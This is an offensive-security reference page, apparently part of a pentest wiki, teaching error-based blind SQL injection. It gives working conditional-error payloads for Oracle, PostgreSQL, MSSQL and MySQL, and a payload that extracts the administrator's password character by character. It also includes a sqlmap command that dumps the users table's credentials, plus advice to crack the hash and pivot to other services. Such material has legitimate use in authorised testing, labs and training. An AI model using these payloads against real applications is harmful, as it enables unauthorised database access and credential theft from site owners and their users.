# Error-based Blind SQLi

> Extracting data when the only observable difference between true and false is whether the query throws a database error.

<!-- Source: codex/web/sqli/blind-error -->
<!-- Codex offensive-security reference - codex.athenaos.org -->

import { Aside, Tabs, TabItem, Steps } from '@astrojs/starlight/components';

The query output isn't reflected, the response body is identical for true and false conditions, and timing is unreliable - but the application returns a **distinguishable error** when the backend query fails. Force an error only when a condition is true, and the error itself becomes the boolean oracle.

## TL;DR

```sql
-- Oracle: divide by zero only when the condition is TRUE → DB error
' AND (SELECT CASE WHEN (<condition>) THEN TO_CHAR(1/0) ELSE NULL END FROM dual) IS NULL-- -
```

If `<condition>` is true the query errors (HTTP 500, a custom error page, a stack trace); if false it returns normally. Everything else works like [boolean blind](../blind-boolean/) - binary-search each character - except the signal is "errored vs. didn't" instead of "content changed".

The trailing `IS NULL` matters: it turns the scalar subquery into a valid boolean predicate for the `AND`. On the false branch the subquery returns `NULL`, `NULL IS NULL` is true, and the query runs normally; on the true branch the engine must evaluate `1/0` and raises. Without it, `AND <string-or-null>` is a type error that fails on *both* branches, giving you no oracle.

## When to use

| Symptom | Class |
|---|---|
| Errors printed with query output | [UNION-based](../union-based/) / error-based extraction |
| Response differs on true vs. false condition | [Boolean blind](../blind-boolean/) |
| Response only differs in timing | [Time-based blind](../blind-time/) |
| Response identical, but a *condition-triggered error* changes it | **This page** |
| No feedback of any kind | [Out-of-band](../out-of-band/) |

This is the method PortSwigger's "conditional errors" lab tests. Reach for it when boolean content differences don't exist but you can still provoke a visible error state, and before falling back to slow time-based extraction.

## Step 1 - Confirm the injection is interpreted as SQL

A single quote may already throw an error. Prove the error is *SQL* (not generic input rejection) by submitting syntactically valid subqueries and watching the error appear and disappear:

```sql
'                        → error (unbalanced quote)
''                       → no error
'||(SELECT '')||'        → may still error depending on DBMS
'||(SELECT '' FROM dual)||'   → no error on Oracle (needs a table)
```

<Aside type="note">
On Oracle every `SELECT` needs a `FROM`, so `FROM dual` resolving the error is itself a fingerprint - it tells you the backend is Oracle. See [DBMS cheatsheet](../dbms-cheatsheet/) for the equivalent no-op table on each engine (`dual` on Oracle/MySQL, `FROM (SELECT 1) x` or none on PostgreSQL/MSSQL).
</Aside>

## Step 2 - Build the conditional error

Pair a true/false condition with an expression that is only *evaluated* (and only errors) when the condition holds. Division by zero is the classic trigger. Use `1=1` to prove the error fires and `1=2` to prove it stops before plugging in a real condition.

<Tabs syncKey="dbms">
  <TabItem label="Oracle">
    ```sql
    ' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM dual) IS NULL-- -
    ```
  </TabItem>
  <TabItem label="PostgreSQL">
    ```sql
    -- divisor is itself the CASE, so 1/0 can only be reached on the true branch
    ' AND (SELECT 1/(CASE WHEN (1=1) THEN 0 ELSE 1 END)) IS NULL-- -
    ```
  </TabItem>
  <TabItem label="MSSQL">
    ```sql
    ' AND 1=(SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END)-- -
    ```
  </TabItem>
  <TabItem label="MySQL / MariaDB">
    ```sql
    -- scalar subquery returns >1 row (error) only on the true branch
    ' AND (SELECT CASE WHEN (1=1) THEN (SELECT table_name FROM information_schema.tables) ELSE NULL END) IS NULL-- -
    ```
  </TabItem>
</Tabs>

Swap `1=1` for `1=2` and the error must disappear. If it fires on *both*, the trigger is being evaluated independently of the condition - see the first failure mode below.

<Aside type="caution">
PostgreSQL folds constant expressions at planning time, so a bare `CASE WHEN … THEN 1/0` can raise before the condition is ever checked - both branches error and you get no oracle. The fix above makes the **divisor** depend on the `CASE` (`1/(CASE … END)`), so `1/0` is only reachable when the true branch is chosen at execution. Once the condition references table data (Step 3) it can't be folded anyway.
</Aside>

## Step 3 - Extract character by character

Replace the constant condition with a substring comparison, exactly as in [boolean blind](../blind-boolean/) - keep the same conditional-error wrapper, only the condition changes:

```sql
' AND (SELECT CASE WHEN
  (SUBSTR((SELECT password FROM users WHERE username='administrator'),1,1)='a')
  THEN TO_CHAR(1/0) ELSE NULL END FROM dual) IS NULL-- -
```

Error present → the character matches. Binary-search with `>`/`<` on `ASCII()`/`ORD()` to cut requests per character from ~94 to ~7, same algorithm as the boolean page. The data-dependent condition also sidesteps the PostgreSQL constant-folding problem, since the planner can't evaluate a per-row comparison ahead of time.

## Automation

To sqlmap this is a **boolean-blind** oracle - the error state is just its "true" response signature - so use `--technique=B`, not `E`. (sqlmap's `E` is *error-based extraction*, which scrapes data out of printed error-message text, a different technique covered under [UNION-based](../union-based/).) Point it at a reliable true/false matcher:

```bash
sqlmap -u "https://<TARGET>/page" --cookie="TrackingId=xyz*" \
  --technique=B --string="Internal Server Error" \
  --dbms=oracle --dump -T users -C username,password
```

`--string` (or `--code=500`) tells sqlmap what the "true"/errored response looks like.

For manual control you can reuse the boolean-blind [ffuf and bash loops](../blind-boolean/#automation-with-ffuf), but changing the match filter alone is not enough: those payloads compare a substring directly and produce a *content* difference, never an error. Swap the injected payload for the conditional-error wrapper above (so the comparison sits inside the `CASE`), then match on the error - e.g. `ffuf ... -mc 500`, or `-mr "error string"` when the error page returns 200.

## Common failure modes

- **The error fires on both `1=1` and `1=2`.** The trigger is being evaluated independently of the condition - on PostgreSQL this is constant folding (see the Step 2 caution; make the divisor depend on the `CASE`). On other engines, make sure the erroring expression is only *reachable* through the true branch, not computed alongside it.
- **The app returns 200 with a generic error page.** That is not necessarily a dead end: if the error page differs from the normal response at all - different text, different length - that difference *is* your oracle, and you're really doing [boolean blind](../blind-boolean/) with the error page as the "true" state. Only fall back to [time-based](../blind-time/) when the errored and successful responses are genuinely indistinguishable.
- **WAF blocks `1/0` or `CASE`.** See [Bypasses](../bypasses/); a subquery returning multiple rows (`(SELECT table_name FROM information_schema.tables)`) or a failing `CAST` are alternative error triggers.

## Notes

- Capture one request/response pair showing the errored vs. clean state - it's clean evidence that the condition controlled the backend.
- This technique leaks nothing in the response body, so it often slips past response-diffing detection while still being noisy in DB error logs. Note that asymmetry in the report.

## Next move

- **Error oracle confirmed** → automate with sqlmap `--technique=B --string=` / `--code=500`, or the boolean-blind scripts with the conditional-error payload matched on status code
- **Backend fingerprinted as Oracle via `FROM dual`** → use the [DBMS cheatsheet](/codex/web/sqli/dbms-cheatsheet/) for Oracle-specific schema queries (`all_tables`, `all_tab_columns`)
- **No error oracle after all** → [Time-based blind](/codex/web/sqli/blind-time/), then [Out-of-band](/codex/web/sqli/out-of-band/) if timing is also unreliable
- **Extracted an admin hash** → crack offline, then pivot to [MSSQL / WinRM / SSH](/codex/network/services/mssql/) on the same host
- **Hardening this class out of an app** → [SQLi defense](/codex/web/sqli/defense/)